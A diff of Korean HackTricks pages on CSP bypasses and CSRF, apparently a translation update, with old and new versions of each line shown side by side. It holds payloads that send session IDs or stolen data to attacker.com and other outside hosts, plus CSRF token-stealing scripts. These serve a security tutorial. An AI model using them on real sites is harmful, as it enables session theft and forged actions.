### RPO(상대 경로 덮어쓰기)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
앞서 언급한 경로 제한 우회를 위한 리디렉션 외에도 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(RPO)라는 또 다른 기술이 있습니다.
경로 제한을 우회하기 위한 앞서 언급한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(RPO)라는 또 다른 기술이 있습니다.
예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용하는 경우, 다음과 같이 우회할 수 있습니다:
```html
@ -390,14 +390,14 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
**base-uri** 지시어가 누락된 경우, 이를 악용하여 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/)을 수행할 수 있습니다.
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **Nonce**를 사용하여, **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
게다가, **페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우**(`<script src="/js/app.js">`) **Nonce**를 사용하여 **base** **태그**를 악용하여 **자신의 서버에서 스크립트를 로드하게 하여 XSS를 달성할 수 있습니다.**\
취약한 페이지가 **httpS**로 로드되는 경우, base에 httpS URL을 사용하십시오.
```html
<base href="https://www.attacker.com/">
```
### AngularJS 이벤트
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고 AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그럼에도 불구하고, AngularJS는 대안으로 사용자 정의 이벤트를 도입합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 객체 `$event`를 제공합니다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서는 `$event/event` 객체가 이벤트 실행 체인에 관련된 객체 배열을 보유하는 `path` 속성을 가지고 있으며, `window` 객체는 항상 끝에 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.
이 배열을 `orderBy` 필터로 전달함으로써, 이를 반복하여 터미널 요소(즉, `window` 객체)를 활용해 `alert()`와 같은 전역 함수를 트리거할 수 있습니다. 아래의 코드 스니펫은 이 과정을 설명합니다:
```xml
@ -448,13 +448,13 @@ CSP가 서버 측 리디렉션을 만났을 때 어떤 일이 발생할까요?
```
CSP가 `https://www.google.com/a/b/c/d`로 설정된 경우, 경로가 고려되므로 `/test``/a/test` 스크립트는 CSP에 의해 차단됩니다.
그러나 최종 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다.** 리디렉션이므로 **경로는 고려되지 않으며**, **스크립트를 로드할 수 있습니다**, 따라서 경로 제한을 우회합니다.
그러나 최종 `http://localhost:5555/301`**서버 측에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다.** 리디렉션이므로 **경로는 고려되지 않으며**, **스크립트가 로드될 수 있습니다**, 따라서 경로 제한을 우회하게 됩니다.
이 리디렉션으로 인해 경로가 완전히 지정되더라도 여전히 우회됩니다.
이 리디렉션을 통해 경로가 완전히 지정되더라도 여전히 우회됩니다.
따라서 최선의 해결책은 웹사이트에 열린 리디렉션 취약점이 없도록 하고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.
### 느슨한 마크업으로 CSP 우회
### 덩글링 마크업으로 CSP 우회
[여기에서 읽어보세요](../dangling-markup-html-scriptless-injection/).
@ -486,7 +486,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
#### 크롬
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책을 무력화**하는 방식으로 **정책을 변경**할 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'을 허용**할 수 있습니다:
당신이 보낸 **매개변수**가 **정책의 선언 안에 붙여넣기** 된다면, 당신은 **정책을 무용하게 만드는 방식으로** **정책을 변경**할 수 있습니다. 다음의 우회 방법 중 하나로 **스크립트 'unsafe-inline'을 허용**할 수 있습니다:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -564,17 +564,17 @@ console.log(prefix);
run();
</script>
```
### Via Bookmarklets
### 북마클릿을 통한 방법
이 공격은 공격자가 **사용자가 브라우저의 북마클릿 위 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
이 공격은 공격자가 **사용자가 브라우저의 북마클릿 위 링크를 드래그 앤 드롭하도록 설득하는** 사회 공학을 포함합니다. 이 북마클릿은 **악성 자바스크립트** 코드를 포함하고 있으며, 드래그 앤 드롭하거나 클릭할 경우 현재 웹 창의 컨텍스트에서 실행되어 **CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 훔칠 수 있게** 합니다.
자세한 정보는 [**여기에서 원본 보고서를 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
자세한 정보는 [**원본 보고서를 여기에서 확인하세요**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
### CSP 제한을 통한 CSP 우회
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 CSP를 우회하며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다.
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)에서는 허용된 iframe 내부에 더 제한적인 CSP를 주입하여 CSP를 우회하며, 이 CSP는 특정 JS 파일을 로드하는 것을 허용하지 않으며, **프로토타입 오염** 또는 **DOM 클러버링**을 통해 **임의의 스크립트를 로드하기 위해 다른 스크립트를 악용할 수 있게** 합니다.
**`csp`** 속성으로 **iframe의 CSP를 제한할 수 있습니다**:
**`csp`** 속성으로 iframe의 CSP를 **제한할 수 있습니다**:
{% code overflow="wrap" %}
```html
@ -583,7 +583,7 @@ run();
{% endcode %}
[**이 CTF 작성글**](https://github.com/aszx87410/ctf-writeups/issues/48)에서는 **HTML 주입**을 통해 **CSP**를 더 제한적으로 설정하여 CSTI를 방지하는 스크립트를 비활성화할 수 있었고, 따라서 **취약점이 악용 가능해졌습니다.**\
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**하여 그들의 **nonce**를 허용하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있으며, 인라인 스크립트는 **제거**를 허용하는 **항목**을 비활성화하고 **sha를 통해 특정 인라인 스크립트를 활성화**할 수 있습니다:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -592,7 +592,7 @@ CSP는 **HTML 메타 태그**를 사용하여 더 제한적으로 만들 수 있
```
### JS exfiltration with Content-Security-Policy-Report-Only
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 이를 당신의 서버를 가리키게 할 수 있습니다. 그리고 **당신이 유출하고자 하는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류를 유발**하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
서버가 **`Content-Security-Policy-Report-Only`** 헤더를 **당신이 제어하는 값**으로 응답하도록 만들 수 있다면(아마도 CRLF 때문일 수 있음), 당신의 서버를 가리키게 할 수 있으며, **당신이 유출하고자 하는 JS 콘텐츠**를 **`<script>`**로 감싸면 CSP에 의해 `unsafe-inline`이 허용되지 않을 가능성이 높기 때문에, 이는 **CSP 오류를 유발**하고 스크립트의 일부(민감한 정보가 포함된)가 `Content-Security-Policy-Report-Only`에서 서버로 전송됩니다.
예시로 [**이 CTF 작성글을 확인하세요**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -602,23 +602,23 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
```
### CSP 및 Iframe을 통한 정보 유출
* CSP에 의해 허용된 URL(예: `https://example.redirect.com`)을 가리키`iframe` 생성됩니다.
* `iframe`CSP에 의해 허용된 URL(예: `https://example.redirect.com`)을 가리키도록 생성됩니다.
* 이 URL은 비밀 URL(예: `https://usersecret.example2.com`)로 리디렉션되며, 이는 CSP에 의해 **허용되지 않습니다**.
* `securitypolicyviolation` 이벤트를 수신함으로써 `blockedURI` 속성을 캡처할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어 초기 URL이 리디렉션된 비밀 도메인을 유출합니다.
Chrome 및 Firefox와 같은 브라우저가 CSP와 관련하여 iframe을 처리하는 방식이 다르다는 점은 흥미롭습니다. 이는 정의되지 않은 동작으로 인해 민감한 정보가 유출될 수 있는 가능성을 초래합니다.
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알려지지 않은 문자로 구성되어 있다면, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다른 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
또 다른 기술은 CSP 자체를 이용하여 비밀 서브도메인을 유추하는 것입니다. 이 방법은 이진 검색 알고리즘에 의존하며, 특정 도메인을 의도적으로 차단하도록 CSP를 조정합니다. 예를 들어, 비밀 서브도메인이 알 수 없는 문자로 구성되어 있다면, CSP 지시어를 수정하여 이러한 서브도메인을 차단하거나 허용함으로써 반복적으로 다른 서브도메인을 테스트할 수 있습니다. 다음은 이 방법을 용이하게 하기 위해 CSP가 설정될 수 있는 방식을 보여주는 코드 조각입니다:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁 수 있으며, 결국 전체 URL을 밝혀낼 수 있습니다.
CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비밀 서브도메인에서 가능한 문자들을 좁혀 나갈 수 있으며, 결국 전체 URL을 밝혀낼 수 있습니다.
두 방법 모두 CSP 구현 및 브라우저에서의 동작의 미세한 차이를 이용하여, 겉보기에는 안전한 정책이 어떻게 의도치 않게 민감한 정보를 유출할 수 있는지를 보여줍니다.
[**여기**](https://ctftime.org/writeup/29310)에서의 트릭.
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -641,7 +641,7 @@ CSP에 의해 차단되거나 허용된 요청을 모니터링함으로써, 비
### PHP 응답 버퍼 오버로드
PHP는 기본적으로 **4096** 바이트로 응답을 **버퍼링**하는 것으로 알려져 있습니다. 따라서 PHP가 경고를 표시하는 경우, **경고 에 충분한 데이터를 제공함으로써**, **응답**이 **CSP 헤더** **이전**에 **전송**되어 헤더가 무시됩니다.\
PHP는 기본적으로 **4096** 바이트로 응답을 **버퍼링**하는 것으로 알려져 있습니다. 따라서 PHP가 경고를 표시하는 경우, **경고 에 충분한 데이터를 제공함으로써**, **응답**이 **CSP 헤더** **이전**에 **전송**되어 헤더가 무시됩니다.\
그런 다음, 이 기술은 기본적으로 **경고로 응답 버퍼를 채우는 것**으로 구성되어 CSP 헤더가 전송되지 않도록 합니다.
[**이 글**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)에서 아이디어를 얻었습니다.
@ -657,15 +657,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM에 접근**할 수 있습니다. 자세한 내용은 다음을 확인하세요:
SOME은 **페이지의 엔드포인트**에서 XSS(또는 매우 제한된 XSS)를 악용하여 **동일 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 공격자 페이지에서 취약한 엔드포인트를 로드한 다음, 악용하고자 하는 동일 출처의 실제 엔드포인트로 공격자 페이지를 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용할 실제 엔드포인트의 DOM에 접근**할 수 있습니다. 자세한 내용은 다음을 확인하세요:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
또한, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력에 전송된 데이터**를 **반영**합니다(단, 문자, 숫자 및 점만 허용됨).
게다가, **wordpress**는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 **출력에 반영**된 **데이터**를 보냅니다(단, 문자, 숫자 및 점만 허용됨).
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격을 악용**하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
공격자는 해당 엔드포인트를 악용하여 WordPress에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 안에 **임베드**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용되기 때문에** **로드**됩니다. 또한, WordPress가 설치되어 있기 때문에 공격자는 **CSP를 우회하는** **취약한** **콜백** 엔드포인트를 통해 **SOME 공격**을 악용하여 사용자에게 더 많은 권한을 부여하거나 새로운 플러그인을 설치할 수 있습니다...\
이 공격을 수행하는 방법에 대한 자세한 내용은 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)를 확인하세요.
## CSP Exfiltration Bypasses
@ -687,7 +687,7 @@ document.location = "https://attacker.com/?" + sessionid;
```
### DNS Prefetch
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용하기 위해 캐시합니다.\
페이지를 더 빠르게 로드하기 위해, 브라우저는 호스트 이름을 IP 주소로 미리 해결하고 이를 나중에 사용할 수 있도록 캐시합니다.\
브라우저에게 호스트 이름을 미리 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출할 수 있습니다**:
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -762,10 +762,10 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**최신 공지사항**\
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**지금** [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -776,8 +776,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## 크로스 사이트 요청 위조 (CSRF) 설명
**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
**크로스 사이트 요청 위조 (CSRF)**는 웹 애플리케이션에서 발견되는 보안 취약점의 일종입니다. 이는 공격자가 인증된 세션을 용하여 무심코 사용자를 대신해 행동을 수행할 수 있게 합니다. 공격은 피해자의 플랫폼에 로그인한 사용자가 악성 사이트를 방문할 때 실행됩니다. 이 사이트는 JavaScript 실행, 양식 제출 또는 이미지 가져오기와 같은 방법을 통해 피해자의 계정에 요청을 트리거합니다.
### CSRF 공격을 위한 전제 조건
@ -59,7 +59,7 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
* `http://mal.net?orig=http://example.com` 사용 (URL이 신뢰할 수 있는 URL로 끝남)
* `http://example.com.mal.net` 사용 (URL이 신뢰할 수 있는 URL로 시작함)
* **매개변수 이름 수정**: POST 또는 GET 요청의 매개변수 이름을 변경하면 자동화된 공격을 방지하는 데 도움이 될 수 있습니다.
* **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
* **CSRF 토큰**: 각 세션에 고유한 CSRF 토큰을 포함하고 이후 요청에서 이 토큰을 요구하면 CSRF 위험을 크게 줄일 수 있습니다. 토큰의 효과는 CORS를 강제함으로써 향상될 수 있습니다.
이러한 방어를 이해하고 구현하는 것은 웹 애플리케이션의 보안과 무결성을 유지하는 데 중요합니다.
@ -71,7 +71,7 @@ CSRF 공격으로부터 보호하기 위해 여러 가지 대응책을 구현할
### 토큰 부족
애플리케이션은 **토큰이 존재할 때 검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 전달하는 매개변수를 제거**하여 이를 악용할 수 있으며, 이는 CSRF 공격을 효과적으로 수행할 수 있게 합니다.
애플리케이션은 **토큰이 존재할 때** 이를 **검증하는 메커니즘**을 구현할 수 있습니다. 그러나 토큰이 없을 때 검증이 완전히 생략되면 취약점이 발생합니다. 공격자는 **토큰을 포함하는 매개변수**를 제거하여 이를 악용할 수 있으며, 단순히 값만 제거하는 것이 아닙니다. 이를 통해 검증 프로세스를 우회하고 효과적으로 크로스 사이트 요청 위조 (CSRF) 공격을 수행할 수 있습니다.
### CSRF 토큰이 사용자 세션에 연결되지 않음
@ -100,11 +100,11 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
요청이 **CSRF 보호 방법**으로 **토큰**이 포함된 **사용자 정의 헤더**를 추가하고 있다면:
* **사용자 정의 토큰과 헤더 없이 요청을 테스트**합니다.
* **정확 길이지만 다른 토큰으로 요청을 테스트**합니다.
* **정확히 같은 길이지만 다른 토큰으로 요청을 테스트**합니다.
### CSRF 토큰이 쿠키로 검증됨
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
애플리케이션은 CSRF 보호를 위해 토큰을 쿠키와 요청 매개변수 모두에 복제하거나 CSRF 쿠키를 설정하고 백엔드에서 전송된 토큰이 쿠키와 일치하는지 검증하는 방법을 구현할 수 있습니다. 애플리케이션은 요청 매개변수의 토큰이 쿠키의 값과 일치하는지 확인하여 요청을 검증합니다.
그러나 이 방법은 웹사이트에 공격자가 피해자의 브라우저에 CSRF 쿠키를 설정할 수 있는 결함이 있는 경우 CSRF 공격에 취약합니다. 공격자는 쿠키를 설정하는 기만적인 이미지를 로드한 다음 CSRF 공격을 시작하여 이를 악용할 수 있습니다.
@ -125,7 +125,7 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
```
{% hint style="info" %}
**csrf 토큰이 세션 쿠키와 관련되어 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
**csrf 토큰이 세션 쿠키와 관련 있다면 이 공격은 작동하지 않습니다**. 왜냐하면 피해자의 세션을 설정해야 하므로 결국 자신을 공격하게 됩니다.
{% endhint %}
### Content-Type 변경
@ -138,7 +138,7 @@ CSRF 토큰이 **사용자 세션에 연결되지 않는 애플리케이션**은
그러나 사용된 **Content-Type**에 따라 **서버의 로직이 다를 수 있으므로** 언급된 값과 **`application/json`**, **`text/xml`**, **`application/xml`**와 같은 다른 값도 시도해 보아야 합니다.
예시 ( [여기](https://brycec.me/posts/corctf\_2021\_challenges)에서) 텍스트/플레인으로 JSON 데이터를 전송하는 방법:
예시 ( [여기](https://brycec.me/posts/corctf\_2021\_challenges)에서) 텍스트/plain으로 JSON 데이터를 전송하는 방법:
```html
<html>
<body>
@ -196,15 +196,15 @@ document.forms[0].submit();
```
### **HEAD 메서드 우회**
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리하도록 설정되어 있으며** 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다. HEAD reqs를 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
[**이 CTF 작성글**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)의 첫 번째 부분에서는 [Oak의 소스 코드](https://github.com/oakserver/oak/blob/main/router.ts#L281)가 **HEAD 요청을 GET 요청으로 처리하도록 설정되어 있으며** 응답 본문이 없는 일반적인 우회 방법이라고 설명합니다 - 이는 Oak에만 국한되지 않습니다. HEAD 요청을 처리하는 특정 핸들러 대신, 단순히 **GET 핸들러에 전달되지만 앱은 응답 본문을 제거합니다**.
따라서 GET 요청이 제한되고 있다면, **GET 요청으로 처리될 HEAD 요청을 보낼 수 있습니다**.
## **익스플로잇 예시**
### **CSRF 토큰 출**
### **CSRF 토큰 출**
**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **출을 시도할 수 있습니다**.
**CSRF 토큰**이 **방어** 수단으로 사용되고 있다면, [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 취약점이나 [**Dangling Markup**](dangling-markup-html-scriptless-injection/) 취약점을 악용하여 **출을 시도할 수 있습니다**.
### **HTML 태그를 사용한 GET**
```xml
@ -361,7 +361,7 @@ function envia(){document.getElementById("formulario").submit();}
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **CSRF 토큰 훔치기 및 POST 요청 전송**
### **CSRF 토큰 훔치고 POST 요청 보내기**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
@ -408,7 +408,7 @@ var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **CSRF 토큰을 훔치고 iframe, 폼 및 Ajax를 사용하여 Post 요청 보내기**
### **CSRF 토큰 훔치기 및 iframe, 폼, Ajax를 사용하여 Post 요청 보내기**
```html
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
@ -476,7 +476,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTAjax를 사용하여 CSRF 토큰 훔치고 폼으로 POST 전송하기**
### **POSTAjax를 사용하여 CSRF 토큰 훔치고 폼으로 POST 전송하기**
```html
<body onload="getData()">
@ -584,20 +584,20 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰력**\
**Hacking Insights**\
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
**Real-Time Hack News**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**최신 발표**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
**Latest Announcements**\
새로운 버그 바운티 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하고 최고의 해커들과 협업을 시작하세요!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 및 오늘 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
@ -605,7 +605,7 @@ GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" al
<details>
<summary>HackTricks 지원하기</summary>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
